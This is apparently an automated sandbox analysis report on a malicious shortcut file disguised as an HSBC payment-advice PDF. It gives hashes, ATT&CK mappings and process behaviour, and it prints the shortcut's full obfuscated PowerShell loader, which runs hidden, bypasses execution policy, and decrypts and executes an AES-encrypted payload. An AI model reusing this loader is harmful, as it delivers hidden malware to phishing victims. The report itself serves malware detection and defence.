b488b9f29cb8897a1854ca1ec2e943c99ab6724a825bfedf5485f147be6a9387

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
29-11-2024 09:17

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General

Target

Payment_Advice_HSBC_Swift_Copy.pdf.lnk
Size

3KB
MD5

b34d7dcf2fd1a08025934b2b3b60c4d3
SHA1

2d892b1de088baed8ae4df89536b7e197ea7d83e
SHA256

b488b9f29cb8897a1854ca1ec2e943c99ab6724a825bfedf5485f147be6a9387
SHA512

03bcf8eb554b5fcab7f843f3841c20a2a008d3dbdc5904577935122ff2c1fd86c975d9aaec6faaf9ed36354af663deaba39901fe4da700c74e8c4cead605cacd

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2736	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2736	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2736	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 2736	2204	cmd.exe	31
PID 2204 wrote to memory of 2736	2204	cmd.exe	31
PID 2204 wrote to memory of 2736	2204	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Payment_Advice_HSBC_Swift_Copy.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2204
- C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "& {param($a, $b) $KEYIV = 'k8XdzE5Qhcf2e9Ywp4VEDqcIiZgSnG82lQkfyUvgczlI5FEX7EEuaglnm6Og2iToSvxZ25pJBaUqiOYYZt6y2P51jaT8vBYceYxEgCkXencCyumIw0vb4ZDdW5f6FFU324g2HYnIZntCYhBhzD4wsQotd4P21kmAvwOoqsWXrDjj4tpcToqBzGtbJ5NOCsqJL8hpXhz7IUR1CFpqj7uKYt030bDNEw3'; $command = [System.Convert]::FromBase64String($a); $key = [System.Convert]::FromBase64String($b); $e = New-Object System.Security.Cryptography.AesManaged; $e.Key = $key; $e.IV = $command[0..15]; $f = $e.CreateDecryptor(); $g = $f.TransformFinalBlock($command[16..$command.Length], 0, $command.Length - 16); $h = [System.Text.Encoding]::UTF8.GetString($g); Invoke-Expression $h; }" -a "g1lXULknt2tFEJ9CWtSeuT8lpwEFw2kduv2dAdXnBvW9zQWYvllyH1IzQb17QpM0MRSxRM4iBrzRGSVUzbA9Lntnw+3R6C6XzbKH3sKg0xA54U4USXwc36MuqEzwr69ZA9nW8flo9QFTCFNjo4y1kIOULkZXzZGC6QAav/ljI5Z7Zf78xpG6FK5NMvelcmgXJwECeHMCAZ5vOxfjBw1m5XEmuUeL2eLSYegw3J5rGeo=" -b "jgM16vyg07nuWc5iJFexQsYoNWWiseIKj/77y2lZRJg="
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2736-38-0x000007FEF5DAE000-0x000007FEF5DAF000-memory.dmp

Filesize
4KB

Download
memory/2736-39-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2736-40-0x0000000001D70000-0x0000000001D78000-memory.dmp

Filesize
32KB

Download
memory/2736-41-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-42-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-43-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download
memory/2736-45-0x0000000001DCB000-0x0000000001E32000-memory.dmp

Filesize
412KB

Download
memory/2736-44-0x000007FEF5AF0000-0x000007FEF648D000-memory.dmp

Filesize
9.6MB

Download